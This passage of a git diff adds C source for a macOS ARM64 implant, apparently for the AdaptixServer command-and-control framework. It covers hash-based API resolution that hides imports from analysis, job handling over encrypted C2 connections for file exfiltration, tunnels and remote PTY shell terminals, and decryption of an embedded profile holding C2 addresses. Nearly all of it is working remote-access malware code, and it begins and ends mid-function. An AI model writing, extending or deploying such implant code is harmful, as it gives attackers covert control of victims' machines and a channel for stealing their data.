N_TYPE) == N_UNDF) continue; // undefined + if ((sym->n_type & N_EXT) == 0) continue; // not exported + + uint32_t str_idx = sym->n_un.n_strx; + const char* sym_name = &strtab[str_idx]; + + // Skip leading underscore (Mach-O convention) + if (sym_name[0] == '_') sym_name++; + + if (djb2_hash(sym_name) == symbol_hash) { + return (void*)((intptr_t)sym->n_value + slide); + } + } + + return (void*)0; +} + +/// Initialize resolver — resolve critical APIs from libSystem +int dyld_resolver_init(void) { + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // libSystem.B.dylib contains all BSD/POSIX functions on macOS + // It's always loaded (it's the macOS equivalent of libc) + + // We need to find libSystem by hash + // Try multiple names since dyld may list it differently + void* libsystem = (void*)0; + uint32_t count = _dyld_image_count(); + + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + + // Match "libSystem.B.dylib" or "libsystem_*" components + // But we primarily want libSystem.B.dylib which re-exports everything + uint32_t h = djb2_hash(base); + + // Check against our expected hash + // Note: the hash value depends on DJB2_SEED, so we compute at runtime + uint32_t expected = djb2_hash("libSystem.B.dylib"); + if (h == expected) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + + // If not found by exact name, try to find libc or libsystem_c + if (!libsystem) { + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (djb2_hash(base) == djb2_hash("libsystem_c.dylib")) { + libsystem = (void*)_dyld_get_image_header(i); + break; + } + } + } + + if (!libsystem) return -1; + + // libSystem.B.dylib re-exports from sub-libraries + // Symbols may be in libsystem_c, libsystem_kernel, libsystem_pthread, etc. + // We need to search multiple images + + // Collect all libsystem_* images + void* images[32]; + int image_count = 0; + + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + // Check if path contains "libsystem_" or "libSystem" + int is_system = 0; + const char* p = name; + while (*p) { + if (p[0] == 'l' && p[1] == 'i' && p[2] == 'b') { + if ((p[3] == 's' || p[3] == 'S') && + (p[4] == 'y' || p[4] == 'Y') && + (p[5] == 's' || p[5] == 'S')) { + is_system = 1; + break; + } + } + p++; + } + if (is_system) { + images[image_count++] = (void*)_dyld_get_image_header(i); + } + } + + // Also add libpthread if present + for (uint32_t i = 0; i < count && image_count < 32; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + const char* base = path_basename(name); + if (base[0] == 'l' && base[1] == 'i' && base[2] == 'b' && + base[3] == 'p' && base[4] == 't' && base[5] == 'h') { + images[image_count++] = (void*)_dyld_get_image_header(i); + break; + } + } + + // Helper: resolve across all system images + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = dyld_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_copyfile, "copyfile"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_execl, "execl"); + RESOLVE(fn_execlp, "execlp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_killpg, "killpg"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_select, "select"); + + // ── System ── + RESOLVE(fn_sysctl, "sysctl"); + RESOLVE(fn_sysctlbyname, "sysctlbyname"); + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── Threading ── + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Crypto/Random ── + RESOLVE(fn_arc4random_buf, "arc4random_buf"); + + // ── String/Misc ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + // ── macOS-specific ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h new file mode 100644 index 00000000..e4af417a --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h @@ -0,0 +1,209 @@ +#ifndef DYLD_RESOLVE_H +#define DYLD_RESOLVE_H + +#include +#include + +/// DJB2 hash-based API resolution for Mach-O on macOS ARM64 +/// Equivalent to beacon's ProcLoader.cpp but for dyld/LC_SYMTAB +/// +/// Usage: +/// void* libsystem = dyld_resolve_lib(HASH_LIB_LIBSYSTEM); +/// void* fn_open = dyld_resolve_sym(libsystem, HASH_FUNC_OPEN); +/// ((int(*)(const char*, int, int))fn_open)("/dev/urandom", 0, 0); + +/// DJB2 hash function (case-insensitive, seeded) +/// Seed is defined per-payload via -DDJB2_SEED=U +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U // Default seed (overridden per-payload) +#endif + +uint32_t djb2_hash(const char* str); + +/// Resolve a loaded dylib by hash of its base name +/// Iterates _dyld_image_count(), hashes each image name's basename +/// Returns the image header address (Mach-O header) or NULL +void* dyld_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within a Mach-O image by hash +/// Parses LC_SYMTAB to find the symbol, returns its address or NULL +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash); + +/// Initialize the resolver — resolves critical bootstrap functions +/// Call once at startup before using any resolved APIs +int dyld_resolver_init(void); + +/// Resolved API table (populated by dyld_resolver_init) +typedef struct { + // ── File I/O ── + void* fn_open; + void* fn_close; + void* fn_read; + void* fn_write; + void* fn_stat; + void* fn_fstat; + void* fn_unlink; + void* fn_rename; + void* fn_mkdir; + void* fn_opendir; + void* fn_readdir; + void* fn_closedir; + void* fn_getcwd; + void* fn_chdir; + void* fn_copyfile; + void* fn_rmdir; + void* fn_rewinddir; + + // ── Memory ── + void* fn_mmap; + void* fn_munmap; + void* fn_mprotect; + + // ── Process ── + void* fn_fork; + void* fn_execve; + void* fn_execvp; + void* fn_execl; + void* fn_execlp; + void* fn_waitpid; + void* fn_getpid; + void* fn_getuid; + void* fn_geteuid; + void* fn_kill; + void* fn_killpg; + void* fn_setsid; + void* fn_setpgid; + void* fn_exit; // _exit + + // ── Network ── + void* fn_socket; + void* fn_connect; + void* fn_getaddrinfo; + void* fn_freeaddrinfo; + void* fn_gethostname; + void* fn_getsockopt; + void* fn_setsockopt; + void* fn_select; + + // ── System ── + void* fn_sysctl; + void* fn_sysctlbyname; + void* fn_getenv; + void* fn_setenv; + void* fn_sleep; + void* fn_usleep; + + // ── Pipes & PTY ── + void* fn_pipe; + void* fn_dup2; + void* fn_fcntl; + void* fn_posix_openpt; + void* fn_grantpt; + void* fn_unlockpt; + void* fn_ptsname; + void* fn_ioctl; + + // ── Threading ── + void* fn_pthread_create; + void* fn_pthread_detach; + void* fn_pthread_mutex_init; + void* fn_pthread_mutex_lock; + void* fn_pthread_mutex_unlock; + + // ── Crypto/Random ── + void* fn_arc4random_buf; + + // ── String/Misc ── + void* fn_dlopen; + void* fn_dlsym; + void* fn_dlclose; + + // ── macOS-specific ── + void* fn_getpwuid; + void* fn_getgrgid; + void* fn_getifaddrs; + void* fn_freeifaddrs; + void* fn_inet_ntop; + void* fn_localtime; + void* fn_strftime; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// These provide type-safe access to resolved APIs without verbose manual casts. +// Each file includes its own system headers, so the types are already defined. +// These macros are safe to use in any .c file that includes dyld_resolve.h +// AFTER the relevant system headers (which all our files do). + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned short))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_copyfile(s,d,st,f) ((int(*)(const char*,const char*,void*,unsigned int))g_apis.fn_copyfile)(s,d,st,f) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_execl(...) ((int(*)(const char*,...))g_apis.fn_execl)(__VA_ARGS__) +#define R_execlp(...) ((int(*)(const char*,...))g_apis.fn_execlp)(__VA_ARGS__) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_killpg(pg,s) ((int(*)(int,int))g_apis.fn_killpg)(pg,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void*))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) + +#define R_sysctl(m,c,o,os,n,ns) ((int(*)(int*,unsigned int,void*,unsigned long*,void*,unsigned long))g_apis.fn_sysctl)(m,c,o,os,n,ns) +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(void*))g_apis.fn_pthread_detach)((void*)(t)) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void*))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#endif // DYLD_RESOLVE_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c new file mode 100644 index 00000000..6e5f9962 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c @@ -0,0 +1,208 @@ +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" +#include "dyld_resolve.h" + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _jobs_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _jobs_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +static void _jobs_dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +#else +#define _jobs_dbg(msg) ((void)0) +#define _jobs_dbg_int(prefix, val) ((void)0) +#define _jobs_dbg_hex(prefix, d, l) ((void)0) +#endif + +/// Global job context +job_context_t g_job_ctx; + +void jobs_init(job_context_t* ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + R_pthread_mutex_init(&ctx->jobs_mutex, (void*)0); + R_pthread_mutex_init(&ctx->tunnels_mutex, (void*)0); + R_pthread_mutex_init(&ctx->terminals_mutex, (void*)0); +} + +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t* ctx, connector_t* conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + // Discard banner + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t* ctx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t* ctx, const char* job_id) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t* ctx, int idx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t* ctx, int channel_id) { + R_pthread_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t* ctx, int term_id) { + R_pthread_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len) { + _jobs_dbg_int("[JOBS] send_init pack_type=", pack_type); + _jobs_dbg_int("[JOBS] send_init pack_len=", pack_len); + + // Outer: StartMsg{id: pack_type, data: pack_data} + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + _jobs_dbg_int("[JOBS] StartMsg msgpack size=", (int64_t)outer.buf.len); + _jobs_dbg_hex("[JOBS] StartMsg first 32=", outer.buf.data, outer.buf.len < 32 ? outer.buf.len : 32); + + // Encrypt with profile enc_key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) { + _jobs_dbg("[JOBS] GCM encrypt failed!"); + return -1; + } + + _jobs_dbg_int("[JOBS] GCM encrypted size=", (int64_t)enc_len); + _jobs_dbg_hex("[JOBS] GCM encrypted first 32=", encrypted, enc_len < 32 ? enc_len : 32); + + int ret = conn_send_msg(conn, encrypted, enc_len); + _jobs_dbg_int("[JOBS] conn_send_msg ret=", ret); + ax_free(encrypted, enc_len); + return ret; +} + +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len) { + // Build Job struct: {command_id, job_id, data} + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + // Build Message{type: 2, object: [packed_job]} + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + // Encrypt with session key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + return ret; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h new file mode 100644 index 00000000..5e4bec91 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h @@ -0,0 +1,138 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include +#include + +/// Job management system — pthread-based async tasks +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK // 2 +#define JOB_TYPE_RUN JOB_PACK // 3 +#define JOB_TYPE_TUNNEL JOB_TUNNEL // 4 +#define JOB_TYPE_TERMINAL JOB_TERMINAL // 5 + +/// Job state +typedef struct { + char job_id[64]; // task ID (hex string from server) + int job_type; // JOB_TYPE_* + int active; // 1 = running, 0 = finished/canceled + int canceled; // 1 = cancel requested + pthread_t thread; // worker thread + connector_t conn; // separate C2 connection for this job +} job_entry_t; + +/// Tunnel controller (matches Go's TunnelController) +typedef struct { + int channel_id; + int active; + int paused; // atomic-ish pause flag + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int client_fd; // connection to target +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int pty_master; // PTY master fd + int child_pid; // shell process pid +} terminal_entry_t; + +/// Upload staging (synchronous — data received in command loop) +typedef struct { + char task_id[64]; + uint8_t* data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context — shared state needed by async threads +typedef struct { + // Agent identity (for init packs) + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; // profile encryption key + uint8_t session_key[16]; // session key (SKey) + + // Connection info for spawning new connections + char address[256]; // current C2 address + int banner_size; // banner to discard on new connections + + // Job tracking + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + // Tunnel tracking + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + // Terminal tracking + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + // Upload staging + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t* ctx); + +/// Update connection info when profile/address changes +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +/// Handles banner, sends init pack (ExfilPack/JobPack/TunnelPack/TermPack) +int jobs_open_connection(job_context_t* ctx, connector_t* conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t* ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t* ctx, const char* job_id); + +/// Remove job by index +void jobs_remove(job_context_t* ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t* ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t* ctx, int term_id); + +/// Build and send a job message on a separate connection +/// Message format: Message{Type:2, Object:[Job{command_id, job_id, data}]} +/// Encrypted with session_key +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len); + +/// Build and send the init pack for an async job +/// StartMsg{Type: pack_type, Data: msgpack(pack)} +/// Encrypted with enc_key +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif // JOBS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c new file mode 100644 index 00000000..de0c80c5 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c @@ -0,0 +1,584 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "opsec.h" +#include "dyld_resolve.h" +#include "config.h" + +#include + +/// ---- Debug tracing (temporary — uses direct syscall to stderr) ---- +/// Writes a short marker to stderr to trace execution flow +/// Remove after debugging is complete +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define dbg(msg) ((void)0) +#endif + +/// Global state +static int ACTIVE = 1; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +/// Extracts: addresses[], banner_size, conn_timeout, conn_count, use_ssl, type +typedef struct { + uint32_t type; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; // profile encryption key +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { +#ifdef DEBUG_TRACE + // Debug: print profile size and first bytes + { + char tmp[128]; + char hex[] = "0123456789abcdef"; + int pos = 0; + const char* prefix = " prof_size="; + while (*prefix) tmp[pos++] = *prefix++; + // itoa inline for enc_size + char numbuf[16]; int ni = 0; + uint32_t v = enc_size; + do { numbuf[ni++] = '0' + (v % 10); v /= 10; } while (v > 0); + while (ni > 0) tmp[pos++] = numbuf[--ni]; + tmp[pos++] = ' '; tmp[pos++] = 'k'; tmp[pos++] = 'e'; tmp[pos++] = 'y'; tmp[pos++] = '='; + for (int b = 0; b < 4 && b < (int)enc_size; b++) { + tmp[pos++] = hex[(enc_data[b] >> 4) & 0xf]; + tmp[pos++] = hex[enc_data[b] & 0xf]; + } + tmp[pos++] = '.'; tmp[pos++] = '.'; + tmp[pos] = '\0'; + dbg(tmp); + } +#endif + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) { dbg(" [!] too small"); return -1; } + + dbg(" [D1] memcpy key"); + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + dbg(" [D2] calling gcm_decrypt"); + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) { dbg(" [!] decrypt FAILED (tag mismatch?)"); return -1; } + dbg(" [D3] decrypt OK"); + +#ifdef DEBUG_TRACE + { + char ptbuf[64]; + int pi = 0; + const char* pp = " [D3a] pt_len="; + while (*pp) ptbuf[pi++] = *pp++; + size_t pv = pt_len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (pv % 10); pv /= 10; } while (pv > 0); + while (ni > 0) ptbuf[pi++] = nb[--ni]; + ptbuf[pi] = '\0'; + 